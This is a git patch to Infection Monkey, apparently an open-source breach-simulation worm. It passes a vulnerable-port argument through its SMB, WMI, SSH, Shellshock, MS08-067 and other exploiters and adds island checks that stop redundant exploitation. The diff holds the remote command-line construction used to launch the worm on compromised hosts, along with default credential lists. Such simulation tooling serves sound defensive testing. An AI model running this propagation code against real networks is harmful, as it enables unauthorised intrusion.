From 0e54b7866416fa3027dfccf3df603f1c7dd00ca8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 20 May 2020 10:00:42 +0300 Subject: [PATCH] Changes that allow to avoid monkey exploitation redundancy: checking if island can see vulnerable port, checking if monkey was started on island and comparing depth vs maximum depth --- monkey/infection_monkey/config.py | 48 +++++++++++-------- monkey/infection_monkey/control.py | 27 +++++++++++ monkey/infection_monkey/dropper.py | 7 ++- monkey/infection_monkey/exploit/hadoop.py | 3 +- monkey/infection_monkey/exploit/mssqlexec.py | 1 + monkey/infection_monkey/exploit/sambacry.py | 5 +- monkey/infection_monkey/exploit/shellshock.py | 6 ++- monkey/infection_monkey/exploit/smbexec.py | 8 +++- monkey/infection_monkey/exploit/sshexec.py | 4 +- .../infection_monkey/exploit/tools/helpers.py | 13 +++-- .../exploit/tools/http_tools.py | 4 ++ monkey/infection_monkey/exploit/vsftpd.py | 4 +- monkey/infection_monkey/exploit/web_rce.py | 27 ++++++++--- .../infection_monkey/exploit/win_ms08_067.py | 8 +++- monkey/infection_monkey/exploit/wmiexec.py | 11 +++-- monkey/infection_monkey/monkey.py | 12 +++-- monkey/infection_monkey/network/tools.py | 6 ++- monkey/monkey_island/cc/app.py | 4 ++ .../cc/resources/monkey_control/__init__.py | 0 .../monkey_control/remote_port_check.py | 14 ++++++ .../monkey_control/started_on_island.py | 16 +++++++ monkey/monkey_island/cc/services/config.py | 4 ++ .../cc/services/config_schema.py | 7 +++ .../cc/services/remote_port_check.py | 19 ++++++++ .../ui/src/components/pages/ConfigurePage.js | 6 ++- 25 files changed, 214 insertions(+), 50 deletions(-) create mode 100644 monkey/monkey_island/cc/resources/monkey_control/__init__.py create mode 100644 monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py create mode 100644 monkey/monkey_island/cc/resources/monkey_control/started_on_island.py create mode 100644 monkey/monkey_island/cc/services/remote_port_check.py diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index e41b8a8a6..46f59b570 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -8,9 +8,6 @@ from itertools import product __author__ = 'itamar' -from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException -from infection_monkey.network import info - GUID = str(uuid.getnode()) EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin') @@ -25,14 +22,17 @@ class Configuration(object): for key, value in list(formatted_data.items()): if key.startswith('_'): continue - if key in ["name", "id", "current_server"]: + if key in ["name", "id", "current_server", "max_depth"]: continue if self._depth_from_commandline and key == "depth": + self.max_depth = value continue if hasattr(self, key): setattr(self, key, value) else: unknown_items.append(key) + if not self.max_depth: + self.max_depth = self.depth return unknown_items def from_json(self, json_data): @@ -138,6 +138,8 @@ class Configuration(object): # depth of propagation depth = 2 + max_depth = None + started_on_island = False current_server = "" # Configuration servers to try to connect to, in this order. @@ -235,6 +237,18 @@ class Configuration(object): cred_list.append(cred) return cred_list + @staticmethod + def hash_sensitive_data(sensitive_data): + """ + Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is + saved on client machines plain-text. + + :param sensitive_data: the data to hash. + :return: the hashed data. + """ + password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest() + return password_hashed + exploit_user_list = ['Administrator', 'root', 'user'] exploit_password_list = ["Password1!", "1234", "password", "12345678"] exploit_lm_hash_list = [] @@ -262,30 +276,22 @@ class Configuration(object): extract_azure_creds = True + ########################### + # post breach actions + ########################### post_breach_actions = [] custom_PBA_linux_cmd = "" custom_PBA_windows_cmd = "" PBA_linux_filename = None PBA_windows_filename = None - @staticmethod - def hash_sensitive_data(sensitive_data): - """ - Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is - saved on client machines plain-text. + ########################### + # testing configuration + ########################### + export_monkey_telems = False - :param sensitive_data: the data to hash. - :return: the hashed data. - """ - password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest() - return password_hashed - - @staticmethod - def should_monkey_run(): - local_ips = info.local_ips() - if set(local_ips).intersection(set(WormConfiguration.blocked_ips)): - raise PlannedShutdownException("Monkey shouldn't run on current machine " - "(blocked ip or redundant exploitation).") + def get_hop_count(self): + return self.max_depth - self.depth WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 8b45bab2c..0e6edd106 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -15,6 +15,8 @@ from infection_monkey.transport.tcp import TcpProxy __author__ = 'hoffer' +from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException + requests.packages.urllib3.disable_warnings() LOG = logging.getLogger(__name__) @@ -321,3 +323,28 @@ class ControlClient(object): proxies=ControlClient.proxies) except requests.exceptions.RequestException: return False + + @staticmethod + def should_monkey_run(port: str) -> bool: + if WormConfiguration.get_hop_count() > 1 and \ + ControlClient.can_island_see_port(port) and \ + WormConfiguration.started_on_island: + raise PlannedShutdownException("Monkey shouldn't run on current machine " + "(it will be exploited later with more depth).") + return True + + @staticmethod + def can_island_see_port(port): + try: + url = f"https://{WormConfiguration.current_server}/api/monkey_control/check_remote_port/{port}" + response = requests.get(url, verify=False) + response = json.loads(response.content.decode()) + return response['status'] == "port_visible" + except requests.exceptions.RequestException: + return False + + @staticmethod + def report_start_on_island(): + requests.post(f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island", + data=json.dumps({'started_on_island': True}), + verify=False) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 55a359b60..dc7e5dc27 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -44,6 +44,7 @@ class MonkeyDrops(object): arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-d', '--depth', type=int) arg_parser.add_argument('-l', '--location') + arg_parser.add_argument('-vp', '--vulnerable-port') self.monkey_args = args[1:] self.opts, _ = arg_parser.parse_known_args(args) @@ -115,7 +116,11 @@ class MonkeyDrops(object): LOG.warning("Cannot set reference date to destination file") monkey_options = \ - build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) + build_monkey_commandline_explicitly(self.opts.parent, + self.opts.tunnel, + self.opts.server, + self.opts.depth, + self.opts.vulnerable_port) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 05c6315c1..76124cac8 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -73,7 +73,8 @@ class HadoopExploiter(WebRCE): def build_command(self, path, http_path): # Build command to execute - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, + vulnerable_port=HTTPTools.get_port_from_url(http_path)) if 'linux' in self.host.os['type']: base_command = HADOOP_LINUX_COMMAND else: diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 9d2aff5b0..36833c5bc 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -133,6 +133,7 @@ class MSSQLExploiter(HostExploiter): # Form monkey's launch command monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, + MSSQLExploiter.SQL_DEFAULT_TCP_PORT, dst_path) suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 4820d0f05..0d08d8a5a 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -329,7 +329,10 @@ class SambaCryExploiter(HostExploiter): return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb") def get_monkey_commandline_file(self, location): - return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, str(location))) + return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, + get_monkey_depth() - 1, + SambaCryExploiter.SAMBA_PORT, + str(location))) @staticmethod def is_share_writable(smb_client, share): diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 718e10617..4c4c9eff0 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -144,7 +144,11 @@ class ShellShockExploiter(HostExploiter): # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_target_path_linux) + ' & ' + cmdline += build_monkey_commandline(self.host, + get_monkey_depth() - 1, + HTTPTools.get_port_from_url(url), + dropper_target_path_linux) + cmdline += ' & ' run_path = exploit + cmdline self.attack_page(url, header, run_path) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index f53e1ac38..86839c027 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -28,6 +28,7 @@ class SmbExploiter(HostExploiter): def __init__(self, host): super(SmbExploiter, self).__init__(host) + self.vulnerable_port = None def is_os_supported(self): if super(SmbExploiter, self).is_os_supported(): @@ -36,11 +37,13 @@ class SmbExploiter(HostExploiter): if not self.host.os.get('type'): is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) if is_smb_open: + self.vulnerable_port = 445 smb_finger = SMBFinger() smb_finger.get_host_fingerprint(self.host) else: is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139) if is_nb_open: + self.vulnerable_port = 139 self.host.os['type'] = 'windows' return self.host.os.get('type') in self._TARGET_OS_TYPE return False @@ -103,10 +106,13 @@ class SmbExploiter(HostExploiter): if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1, + self.vulnerable_port, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1) + build_monkey_commandline(self.host, + get_monkey_depth() - 1, + vulnerable_port=self.vulnerable_port) smb_conn = False for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 45d36d055..5e58f1f54 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -179,7 +179,9 @@ class SSHExploiter(HostExploiter): try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + cmdline += build_monkey_commandline(self.host, + get_monkey_depth() - 1, + vulnerable_port=SSH_PORT) cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 1fc2fc4f1..b5fce82f7 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -41,7 +41,8 @@ def get_target_monkey_by_os(is_windows, is_32bit): return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) -def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None): +def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None, + vulnerable_port=None): cmdline = "" if parent is not None: @@ -53,17 +54,19 @@ def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, d if depth is not None: if depth < 0: depth = 0 - cmdline += " -d %d" % depth + cmdline += f" -d {depth}" if location is not None: - cmdline += " -l %s" % location + cmdline += f" -l {location}" + if vulnerable_port is not None: + cmdline += f" -vp {str(vulnerable_port)}" return cmdline -def build_monkey_commandline(target_host, depth, location=None): +def build_monkey_commandline(target_host, depth, vulnerable_port, location=None): from infection_monkey.config import GUID return build_monkey_commandline_explicitly( - GUID, target_host.default_tunnel, target_host.default_server, depth, location) + GUID, target_host.default_tunnel, target_host.default_server, depth, location, vulnerable_port) def get_monkey_depth(): diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index bfdeb68c8..af53e0450 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -73,6 +73,10 @@ class HTTPTools(object): lock.acquire() return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd + @staticmethod + def get_port_from_url(url: str) -> int: + return urllib.parse.urlparse(url).port + class MonkeyHTTPServer(HTTPTools): def __init__(self, host): diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 1305e3946..6e06c8bcf 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -132,7 +132,9 @@ class VSFTPDExploiter(HostExploiter): T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send() # Run monkey on the machine - parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1) + parameters = build_monkey_commandline(self.host, + get_monkey_depth() - 1, + vulnerable_port=FTP_PORT) run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters} # Set unlimited to memory diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 9f40f0934..3863d47e1 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -42,6 +42,8 @@ class WebRCE(HostExploiter): self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist self.vulnerable_urls = [] + self.target_url = None + self.vulnerable_port = None def get_exploit_config(self): """ @@ -87,27 +89,30 @@ class WebRCE(HostExploiter): if not self.vulnerable_urls: return False + self.target_url = self.vulnerable_urls[0] + self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url) + # Skip if monkey already exists and this option is given - if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]): + if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.target_url): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # Check for targets architecture (if it's 32 or 64 bit) - if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]): + if not exploit_config['blind_exploit'] and not self.set_host_arch(self.target_url): return False # Upload the right monkey to target - data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands']) + data = self.upload_monkey(self.target_url, exploit_config['upload_commands']) if data is False: return False # Change permissions to transform monkey into executable file - if self.change_permissions(self.vulnerable_urls[0], data['path']) is False: + if self.change_permissions(self.target_url, data['path']) is False: return False # Execute remote monkey - if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False: + if self.execute_remote_monkey(self.target_url, data['path'], exploit_config['dropper']) is False: return False return True @@ -403,10 +408,15 @@ class WebRCE(HostExploiter): default_path = self.get_default_dropper_path() if default_path is False: return False - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) + monkey_cmd = build_monkey_commandline(self.host, + get_monkey_depth() - 1, + self.vulnerable_port, + default_path) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd} else: - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) + monkey_cmd = build_monkey_commandline(self.host, + get_monkey_depth() - 1, + self.vulnerable_port) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} try: LOG.info("Trying to execute monkey using command: {}".format(command)) @@ -489,3 +499,6 @@ class WebRCE(HostExploiter): except KeyError: LOG.debug("Target's machine type was not set. Using win-32 dropper path.") return self._config.dropper_target_path_win_32 + + def set_vulnerable_port_from_url(self, url): + self.vulnerable_port = HTTPTools.get_port_from_url(url) diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 8379b6d4f..08c588278 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -234,11 +234,15 @@ class Ms08_067_Exploiter(HostExploiter): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, + build_monkey_commandline(self.host, + get_monkey_depth() - 1, + SRVSVC_Exploit.TELNET_PORT, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1) + build_monkey_commandline(self.host, + get_monkey_depth() - 1, + vulnerable_port=SRVSVC_Exploit.TELNET_PORT) try: sock.send("start %s\r\n" % (cmdline,)) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index adaf524e2..2100c23b0 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -21,6 +21,7 @@ class WmiExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)' + VULNERABLE_PORT = 135 def __init__(self, host): super(WmiExploiter, self).__init__(host) @@ -94,11 +95,15 @@ class WmiExploiter(HostExploiter): # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline( - self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) + build_monkey_commandline(self.host, + get_monkey_depth() - 1, + WmiExploiter.VULNERABLE_PORT, + self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1) + build_monkey_commandline(self.host, + get_monkey_depth() - 1, + WmiExploiter.VULNERABLE_PORT) # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline, diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 8e0763dc5..377440a76 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -27,7 +27,7 @@ from infection_monkey.telemetry.trace_telem import TraceTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach -from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.network.tools import get_interface_to_target, is_running_on_server from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from common.utils.attack_utils import ScanStatus, UsageEnum @@ -71,6 +71,7 @@ class InfectionMonkey(object): arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-d', '--depth', type=int) + arg_parser.add_argument('-vp', '--vulnerable-port') self._opts, self._args = arg_parser.parse_known_args(self._args) self._parent = self._opts.parent @@ -116,6 +117,10 @@ class InfectionMonkey(object): self.shutdown_by_not_alive_config() + if self.is_started_on_island(): + ControlClient.report_start_on_island() + ControlClient.should_monkey_run(self._opts.vulnerable_port) + if firewall.is_enabled(): firewall.add_firewall_rule() @@ -126,8 +131,6 @@ class InfectionMonkey(object): StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() - WormConfiguration.should_monkey_run() - LOG.debug("Starting the post-breach phase.") self.collect_system_info_if_configured() PostBreach().execute_all_configured() @@ -379,3 +382,6 @@ class InfectionMonkey(object): raise PlannedShutdownException("Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel)) self._default_server = WormConfiguration.current_server LOG.debug("default server set to: %s" % self._default_server) + + def is_started_on_island(self): + return is_running_on_server(self._default_server) and WormConfiguration.depth == WormConfiguration.max_depth diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 5e95e20be..ef37fe827 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -7,7 +7,7 @@ import struct import time import re -from infection_monkey.network.info import get_routes +from infection_monkey.network.info import get_routes, local_ips from infection_monkey.pyinstaller_utils import get_binary_file_path from infection_monkey.utils.environment import is_64bit_python @@ -309,3 +309,7 @@ def get_interface_to_target(dst): paths.sort() ret = paths[-1][1] return ret[1] + + +def is_running_on_server(ip: str) -> bool: + return ip in local_ips() diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 13aac018a..505220a78 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -16,10 +16,12 @@ from monkey_island.cc.resources.island_logs import IslandLog from monkey_island.cc.resources.monkey import Monkey from monkey_island.cc.resources.monkey_configuration import MonkeyConfiguration from monkey_island.cc.resources.island_configuration import IslandConfiguration +from monkey_island.cc.resources.monkey_control.started_on_island import StartedOnIsland from monkey_island.cc.resources.monkey_download import MonkeyDownload from monkey_island.cc.resources.netmap import NetMap from monkey_island.cc.resources.node import Node from monkey_island.cc.resources.node_states import NodeStates +from monkey_island.cc.resources.monkey_control.remote_port_check import RemotePortCheck from monkey_island.cc.resources.remote_run import RemoteRun from monkey_island.cc.resources.reporting.report import Report from monkey_island.cc.resources.root import Root @@ -121,6 +123,8 @@ def init_api_resources(api): api.add_resource(AttackConfiguration, '/api/attack') api.add_resource(AttackReport, '/api/attack/report') api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/') + api.add_resource(RemotePortCheck, '/api/monkey_control/check_remote_port/') + api.add_resource(StartedOnIsland, '/api/monkey_control/started_on_island') api.add_resource(MonkeyTest, '/api/test/monkey') api.add_resource(ClearCaches, '/api/test/clear_caches') diff --git a/monkey/monkey_island/cc/resources/monkey_control/__init__.py b/monkey/monkey_island/cc/resources/monkey_control/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py b/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py new file mode 100644 index 000000000..d10ad067c --- /dev/null +++ b/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py @@ -0,0 +1,14 @@ +import flask_restful +from flask import request + +from monkey_island.cc.services.remote_port_check import check_tcp_port + + +class RemotePortCheck(flask_restful.Resource): + + # Used by monkey. can't secure. + def get(self, port): + if check_tcp_port(request.remote_addr, port): + return {"status": "port_visible"} + else: + return {"status": "port_invisible"} diff --git a/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py b/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py new file mode 100644 index 000000000..542860f48 --- /dev/null +++ b/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py @@ -0,0 +1,16 @@ +import json + +import flask_restful +from flask import request, make_response + +from monkey_island.cc.services.config import ConfigService + + +class StartedOnIsland(flask_restful.Resource): + + # Used by monkey. can't secure. + def post(self): + data = json.loads(request.data) + if data['started_on_island']: + ConfigService.set_started_on_island(True) + return make_response({}, 200) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index f8d9df0de..d4521b3f9 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -321,3 +321,7 @@ class ConfigService: @staticmethod def add_blocked_ip(ip_): ConfigService.append_to_config_array(['basic_network', 'general', 'blocked_ips'], ip_) + + @staticmethod + def set_started_on_island(value: bool): + ConfigService.set_config_value(['internal', 'general', 'started_on_island'], value) diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index afc8591d3..b6668af38 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -564,6 +564,13 @@ SCHEMA = { "default": r"monkey_dir", "description": "Directory name for the directory which will contain all of the monkey files" }, + "started_on_island": { + "title": "Started on island", + "type": "boolean", + "default": False, + "description": "Was exploitation started from island" + "(did monkey with max depth ran on island)" + }, } }, "classes": { diff --git a/monkey/monkey_island/cc/services/remote_port_check.py b/monkey/monkey_island/cc/services/remote_port_check.py new file mode 100644 index 000000000..d7d114bf8 --- /dev/null +++ b/monkey/monkey_island/cc/services/remote_port_check.py @@ -0,0 +1,19 @@ +import socket + + +DEFAULT_TIMEOUT = 5 # Seconds + + +def check_tcp_port(ip: str, port: str, timeout=DEFAULT_TIMEOUT) -> bool: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + + try: + sock.connect((ip, int(port))) + except socket.timeout: + return False + except socket.error: + return False + finally: + sock.close() + return True diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 79e71b792..87fd1ace6 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -69,7 +69,11 @@ class ConfigurePageComponent extends AuthComponent { cnc: {}, network: {}, exploits: {}, - internal: {} + internal: { + general: { + started_on_island: {'ui:widget': 'hidden'} + } + } }) }